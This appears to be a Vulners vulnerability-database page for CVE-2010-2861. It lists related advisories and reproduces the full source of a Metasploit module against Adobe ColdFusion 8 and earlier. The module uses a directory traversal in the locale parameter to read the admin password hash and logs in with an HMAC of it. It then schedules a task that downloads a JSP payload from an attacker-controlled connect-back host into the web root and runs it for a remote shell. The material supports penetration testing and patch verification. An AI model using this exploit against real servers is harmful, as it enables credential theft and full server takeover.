| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| Adobe ColdFusion Directory Traversal Vulnerability | 14 Aug 201000:00 | – | zdt | |
| Adobe ColdFusion - Directory Traversal | 17 Mar 201100:00 | – | zdt | |
| CVE-2010-2861 | 11 Aug 201000:00 | – | attackerkb | |
| Immunity Canvas: CF_DIRECTORY_TRAVERSAL | 11 Aug 201018:47 | – | canvas | |
| CVE-2010-2861 | 14 Aug 201000:00 | – | circl | |
| Adobe ColdFusion Directory Traversal Vulnerability | 25 Mar 202200:00 | – | cisa_kev | |
| CISA and Partners Release Advisory on Ghost (Cring) Ransomware | 19 Feb 202512:00 | – | cisa | |
| Adobe ColdFusion 'locale' Parameter Directory Traversal | 16 Aug 201000:00 | – | nessus | |
| Adobe ColdFusion Directory Traversal (APSB10-18; CVE-2010-2861) | 5 Sep 201000:00 | – | checkpoint_advisories | |
| CVE-2010-2861 | 11 Aug 201018:00 | – | cve |
`##
# $Id: coldfusion_traversal.rb 11986 2011-03-16 10:15:54Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion - Directory Traversal',
'Description' => %q{
This module exploits a directory traversal bug in Adobe ColdFusion.
By reading the password.properties a user can login using the encrypted
password itself. This should work on version 8 and below.
},
'License' => MSF_LICENSE,
'Author' => [ 'webDEViL' ],
'Version' => '$Revision: 11986 $',
'References' =>
[
[ 'CVE', '2010-2861' ],
[ 'OSVDB', '67047' ],
[ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],
],
'Privileged' => true,
'Platform' => ['linux','windows'],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Universal',
{
'Arch' => ARCH_JAVA,
'Payload' => 'java'
}
],
],
'DisclosureDate' => 'Aug 25 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
OptString.new('URL', [ true, 'Administrator Directory', '/CFIDE/administrator/' ]),
OptString.new('CBIP', [ true, 'Connect Back IP (even when not using reverse shell)', nil ]),
OptString.new('TRAV', [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]),
], self.class)
end
def exploit
ip = datastore['RHOST']
url = datastore['URL']+"enter.cfm"
locale = "?locale="
trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en"
datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp"
datastore['URIPATH'] = rand_text_alphanumeric(6)
print_status("Trying to acheive Directory Traversal...")
while trav.match(/..\//im)
res = send_request_raw({
'uri' => url+locale+trav,
'method' => 'GET',
'headers' =>
{
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
},
}, -1)
if (res.nil?)
print_error("no response for #{ip}:#{rport} #{url}")
elsif (res.code == 200)
#print_error("#{res.body}")#debug
if match = res.body.match(/([0-9A-F]{40})/im);
caphash = $1
print_status("URL: #{ip}#{url}?locale=#{trav}")
print_status("Admin Hash: " + caphash)
break
else
#select(nil, nil, nil, 3)
trav=trav[3..-1]
print_status("Trav:"+trav)
end
else
''
end
end
if caphash.nil?
print_error("Could not determine location of password.properties file, Set TRAV option manually")
print_error("OR ColdFusion is not vulnerable")
return
end
keyz = Time.now.to_i.to_s+"123"
print_status("Time: "+ keyz)
loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase
print_status("Login Hash: "+loghash)
params = 'cfadminPassword='+loghash
params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&'
params << 'salt='+keyz
params << '&submit=Login'
res = send_request_cgi({
'method' => 'POST',
'uri' => url,
'data' => params
})
if (res)
#print_status("Me want Cookie: "+ res.headers['Set-Cookie'])
if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);)
session = $1
print_status("Cookie: #{session}")
else
print_error("Error retrieving cookie!")
end
else
print_error("No response received while logging in.")
end
print_status("Attempting to automatically detect the platform...")
##AUTO_DETECT START
path = datastore['URL'] + 'settings/mappings.cfm'
res = send_request_raw(
{
'uri' => path,
'headers' =>
{
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}"
}
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
if (res.body.match(/.*td *>(.*CFIDE )/im);)
os = $1
os.match(/<td [^>]*?>(.*) /im);
os1 =$1
os1 = os1.gsub("\t", '')
os1 = os1.gsub("\r\n", '')
if (os1 =~ /:/i) #haha ;)
print_status('OS: Windows')
datastore['SHELL'] = 'cmd.exe'
os1=os1+"\\"
else #(os1 =~ /\//i)
print_status('OS: Linux')
datastore['SHELL'] = '/bin/sh'
os1=os1+"/"
end
print_status("Web Directory:"+os1)
end
##AUTO_DETECT END
res = send_request_raw(
{
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task",
'method' => 'GET',
'headers' =>
{
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
}
}, 25)
if (res.body.match(/<input name="StartTimeOnce".*?value="(.*?)">/im);)
start_time = $1
end
if (res.body.match(/<input name="Start_Date".*?value="(.*?)" id="Start_Date">/im);)
start_date = $1
end
#else FAIL!
comb = start_date + start_time
fmt = "%b %d, %Y%I:%M %p"
comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19)
t = comb.strftime("%b %d, %Y")
t1 = comb.strftime("%I:%M %p")
#t=(Time.now).strftime("%b %d, %Y") #can't use local time
#t1=(Time.now + 5).strftime("%I:%M:%S %p")
params = 'TaskName=wD-'+rand_text_alphanumeric(6)
params << "&Start_Date=#{t}" #Mar+12%2C+2011
params << '&End_Date=&ScheduleType=Once'
params << "&StartTimeOnce=#{t1}" #6%3A40+PM
params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest'
params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH']
params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1'
params << '&publish_file='+os1+datastore['JSP']
params << '&adminsubmit=Submit&taskNameOrig='
res = send_request_raw(
{
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm",
'method' => 'POST',
'data' => params,
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => params.length,
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
}
}, 25)
#print_error("#{res.body}")
super
end
def on_request_uri(cli, request)
p = regenerate_payload(cli)
#print_status("SHELL set to #{datastore['SHELL']}")
#print_status((p.encoded).to_s)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response(cli, p.encoded, { 'Content-Type' => 'text/html' })
res = send_request_raw(
{
'uri' => "/CFIDE/"+datastore['JSP'],
'method' => 'GET',
}, 25)
# Handle the payload
handler(cli)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation